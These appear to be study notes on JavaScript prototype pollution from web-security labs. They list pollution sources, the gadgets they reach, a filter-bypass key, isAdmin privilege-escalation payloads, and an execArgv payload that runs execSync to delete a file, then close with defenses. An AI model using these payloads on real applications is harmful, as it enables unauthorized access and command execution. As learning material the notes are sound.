What is Data Scheme URL? data:, alert(1)
How is the code triggered?
Source: /?__proto__.[transport_url]=alert(1)
Gadget:
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
Source: /?__proto__.sequence=alert(1)==
Gadget: eval('if(alert(1)==1){ console.log(1) }');
Source: ?__pro__proto__to__[transport_url]=data:%20,alert(1)
Use "DOM Invader".
a = {}
a.__proto__.value = 123
b = {c: false}
Object.defineProperty(b, 'c', {configurable: false, writable: false});
b.c
what is b.c? why?
Tip:
a = {value: 123}
b = {}
Object.defineProperty(b, 'c', a)
b.c // would be 123
Add the following property in change-address request:
"__proto__": {
"isAdmin": true
}
"proto":{ "content-type": "application/json; charset=utf-7" }
Question: what does this mean? "foo in UTF-7 is +AGYAbwBv-"
Defense: set __proto__
is not permitted.
"constructor": {
"prototype": {
"isAdmin":true
}
}
"__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
]
}
- Sanitizing property keys
- Preventing changes to prototype objects:
Object.freeze(Object.prototype)
- Preventing an object from inheriting properties:
let myObject = Object.create(null)
- Using safer alternatives where possible, e.g.
Set
andMap